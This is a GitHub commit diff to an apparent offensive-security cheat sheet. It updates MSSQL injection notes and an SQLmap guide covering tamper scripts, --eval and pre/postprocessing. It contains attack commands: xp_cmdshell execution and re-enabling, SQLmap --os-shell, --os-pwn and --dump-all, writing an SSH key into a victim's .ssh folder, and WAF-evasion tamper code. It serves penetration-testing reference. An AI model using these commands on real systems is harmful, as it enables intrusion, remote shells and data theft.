Skip to content

Commit 7eb75ce

Browse files
committed
SQLmap Custom Tamper and Preprocess Scripts
1 parent 8379e65 commit 7eb75ce

File tree

3 files changed

+133
-20
lines changed

3 files changed

+133
-20
lines changed

.github/workflows/check-markdown.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
name: check-markdown
2-
on: [pull_request]
2+
on: [push, pull_request]
33

44
jobs:
55
lint:

SQL Injection/MSSQL Injection.md

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -265,17 +265,22 @@ execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'
265265

266266
### XP_CMDSHELL
267267

268+
`xp_cmdshell` is a system stored procedure in Microsoft SQL Server that allows you to run operating system commands directly from within T-SQL (Transact-SQL).
269+
268270
```sql
269271
EXEC xp_cmdshell "net user";
270272
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
271273
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
272274
```
273275

274-
If you need to reactivate `xp_cmdshell` (disabled by default in SQL Server 2005)
276+
If you need to reactivate `xp_cmdshell`, it is disabled by default in SQL Server 2005.
275277

276278
```sql
279+
-- Enable advanced options
277280
EXEC sp_configure 'show advanced options',1;
278281
RECONFIGURE;
282+
283+
-- Enable xp_cmdshell
279284
EXEC sp_configure 'xp_cmdshell',1;
280285
RECONFIGURE;
281286
```

SQL Injection/SQLmap.md

Lines changed: 126 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,11 @@
1616
* [Proxy Configuration For SQLmap](#proxy-configuration-for-sqlmap)
1717
* [Injection Tampering](#injection-tampering)
1818
* [Suffix And Prefix](#suffix-and-prefix)
19-
* [Tamper Scripts](#tamper-scripts)
19+
* [Default Tamper Scripts](#default-tamper-scripts)
20+
* [Custom Tamper Scripts](#custom-tamper-scripts)
21+
* [Custom SQL Payload](#custom-sql-payload)
22+
* [Evaluate Python Code](#evaluate-python-code)
23+
* [Preprocess And Postprocess Scripts](#preprocess-and-postprocess-scripts)
2024
* [Reduce Requests Number](#reduce-requests-number)
2125
* [SQLmap Without SQL Injection](#sqlmap-without-sql-injection)
2226
* [References](#references)
@@ -42,7 +46,7 @@ A custom injection point in SQLmap allows you to specify exactly where and how S
4246
By defining a custom injection point with the wildcard character '`*`' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable.
4347

4448
```powershell
45-
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
49+
sqlmap -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
4650
```
4751

4852
## Second Order Injection
@@ -59,25 +63,25 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat
5963
* SQL Shell:
6064

6165
```ps1
62-
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
66+
sqlmap -u "http://example.com/?id=1" -p id --sql-shell
6367
```
6468
6569
* OS Shell:
6670
6771
```ps1
68-
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
72+
sqlmap -u "http://example.com/?id=1" -p id --os-shell
6973
```
7074
7175
* Meterpreter:
7276
7377
```ps1
74-
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
78+
sqlmap -u "http://example.com/?id=1" -p id --os-pwn
7579
```
7680
7781
* SSH Shell:
7882
7983
```ps1
80-
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
84+
sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
8185
```
8286
8387
## Crawl And Auto-Exploit
@@ -128,21 +132,25 @@ In SQLmap, tampering can help you adjust the injection in specific ways required
128132
129133
### Suffix And Prefix
130134
135+
The `--suffix` and `--prefix` options allow you to specify additional strings that should be appended or prepended to the payloads generated by SQLMap. These options can be useful when the target application requires specific formatting or when you need to bypass certain filters or protections.
136+
131137
```powershell
132-
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
138+
sqlmap -u "http://example.com/?id=1" -p id --suffix="-- "
133139
```
134140

135-
* `--suffix=SUFFIX`: Injection payload suffix string
136-
* `--prefix=PREFIX`: Injection payload prefix string
141+
* `--suffix=SUFFIX`: The `--suffix` option appends a specified string to the end of each payload generated by SQLMap.
142+
* `--prefix=PREFIX`: The `--prefix` option prepends a specified string to the beginning of each payload generated by SQLMap.
137143

138-
### Tamper Scripts
144+
### Default Tamper Scripts
139145

140146
A tamper script is a script that modifies the SQL injection payloads to evade detection by WAFs or other security mechanisms. SQLmap comes with a variety of pre-built tamper scripts that can be used to automatically adjust payloads
141147

142148
```powershell
143-
sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=space2comment
149+
sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=<tamper-script-name>
144150
```
145151

152+
Below is a table highlighting some of the most commonly used tamper scripts:
153+
146154
| Tamper | Description |
147155
| --- | --- |
148156
|0x2char.py | Replaces each (MySQL) 0xHEX encoded string with equivalent CONCAT(CHAR(),…) counterpart |
@@ -166,11 +174,11 @@ sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=space2comm
166174
|escapequotes.py | Slash escape quotes (' and ") |
167175
|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
168176
|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
169-
|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. -> &#39;) |
170-
|ifnull2casewhenisnull.py | Replaces instances like IFNULL(A, B) with CASE WHEN ISNULL(A) THEN (B) ELSE (A) END counterpart|
177+
|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> &#39;) |
178+
|ifnull2casewhenisnull.py | Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart|
171179
|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
172-
|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) information_schema identifier |
173-
|least.py | Replaces greater than operator (‘>’) with LEAST counterpart |
180+
|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier |
181+
|least.py | Replaces greater than operator ('>') with 'LEAST' counterpart |
174182
|lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) |
175183
|modsecurityversioned.py | Embraces complete query with versioned comment |
176184
|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
@@ -179,8 +187,8 @@ sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=space2comm
179187
|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
180188
|overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
181189
|percentage.py | Adds a percentage sign ('%') infront of each character |
182-
|plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart |
183-
|plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart |
190+
|plus2concat.py | Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart |
191+
|plus2fnconcat.py | Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart |
184192
|randomcase.py | Replaces each keyword character with random case value |
185193
|randomcomments.py | Add random comments to SQL keywords|
186194
|securesphere.py | Appends special crafted string |
@@ -204,6 +212,106 @@ sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=space2comm
204212
|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
205213
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
206214

215+
### Custom Tamper Scripts
216+
217+
When creating a custom tamper script, there are a few things to keep in mind. The script architecture contains these mandatory variables and functions:
218+
219+
* `__priority__`: Defines the order in which tamper scripts are applied. This sets how early or late SQLmap should apply your tamper script in the tamper pipeline. Normal priority is 0 and the highest is 100.
220+
* `dependencies()`: This function gets called before the tamper script is used.
221+
* `tamper(payload)`: The main function that modifies the payload.
222+
223+
The following code is an example of a tamper script that replace instances like '`LIMIT M, N`' with '`LIMIT N OFFSET M`' counterpart:
224+
225+
```py
226+
import os
227+
import re
228+
229+
from lib.core.common import singleTimeWarnMessage
230+
from lib.core.enums import DBMS
231+
from lib.core.enums import PRIORITY
232+
233+
__priority__ = PRIORITY.HIGH
234+
235+
def dependencies():
236+
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
237+
238+
def tamper(payload, **kwargs):
239+
retVal = payload
240+
241+
match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
242+
if match:
243+
retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))
244+
245+
return retVal
246+
```
247+
248+
* Save it as something like: `mytamper.py`
249+
* Place it inside SQLmap's `tamper/` directory, typically:
250+
251+
```ps1
252+
/usr/share/sqlmap/tamper/
253+
```
254+
255+
* Use it with SQLmap
256+
257+
```ps1
258+
sqlmap -u "http://target.com/vuln.php?id=1" --tamper=mytamper
259+
```
260+
261+
### Custom SQL Payload
262+
263+
The `--sql-query` option in SQLmap is used to manually run your own SQL query on a vulnerable database after SQLmap has confirmed the injection and gathered necessary access.
264+
265+
```ps1
266+
sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"
267+
```
268+
269+
### Evaluate Python Code
270+
271+
The `--eval` option lets you define or modify request parameters using Python. The evaluated variables can then be used inside the URL, headers, cookies, etc.
272+
273+
Particularly useful in scenarios such as:
274+
275+
* **Dynamic parameters**: When a parameter needs to be randomly or sequentially generated.
276+
* **Token generation**: For handling CSRF tokens or dynamic auth headers.
277+
* **Custom logic**: E.g., encoding, encryption, timestamps, etc.
278+
279+
```ps1
280+
sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import random; id=random.randint(1,10)"
281+
sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import hashlib;id2=hashlib.md5(id).hexdigest()"
282+
```
283+
284+
### Preprocess And Postprocess Scripts
285+
286+
```ps1
287+
sqlmap -u 'http://example.com/vulnerable.php?id=1' --preprocess=preprocess.py --postprocess=postprocess.py
288+
```
289+
290+
#### Preprocessing Script (preprocess.py)
291+
292+
The preprocessing script is used to modify the request data before it is sent to the target application. This can be useful for encoding parameters, adding headers, or other request modifications.
293+
294+
```ps1
295+
--preprocess=preprocess.py Use given script(s) for preprocessing (request)
296+
```
297+
298+
**Example preprocess.py**:
299+
300+
```ps1
301+
#!/usr/bin/env python
302+
def preprocess(req):
303+
print("Preprocess")
304+
print(req)
305+
```
306+
307+
#### Postprocessing Script (postprocess.py)
308+
309+
The postprocessing script is used to modify the response data after it is received from the target application. This can be useful for decoding responses, extracting specific data, or other response modifications.
310+
311+
```ps1
312+
--postprocess=postprocess.py Use given script(s) for postprocessing (response)
313+
```
314+
207315
## Reduce Requests Number
208316

209317
The parameter `--test-filter` is helpful when you want to focus on specific types of SQL injection techniques or payloads. Instead of testing the full range of payloads that SQLMap has, you can limit it to those that match a certain pattern, making the process more efficient, especially on large or slow web applications.
@@ -232,7 +340,7 @@ Using SQLmap without exploiting SQL injection vulnerabilities can still be usefu
232340
You can use SQLmap to access a database via its port instead of a URL.
233341

234342
```ps1
235-
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all
343+
sqlmap -d "mysql://user:pass@ip/database" --dump-all
236344
```
237345

238346
## References

0 commit comments

Comments
 (0)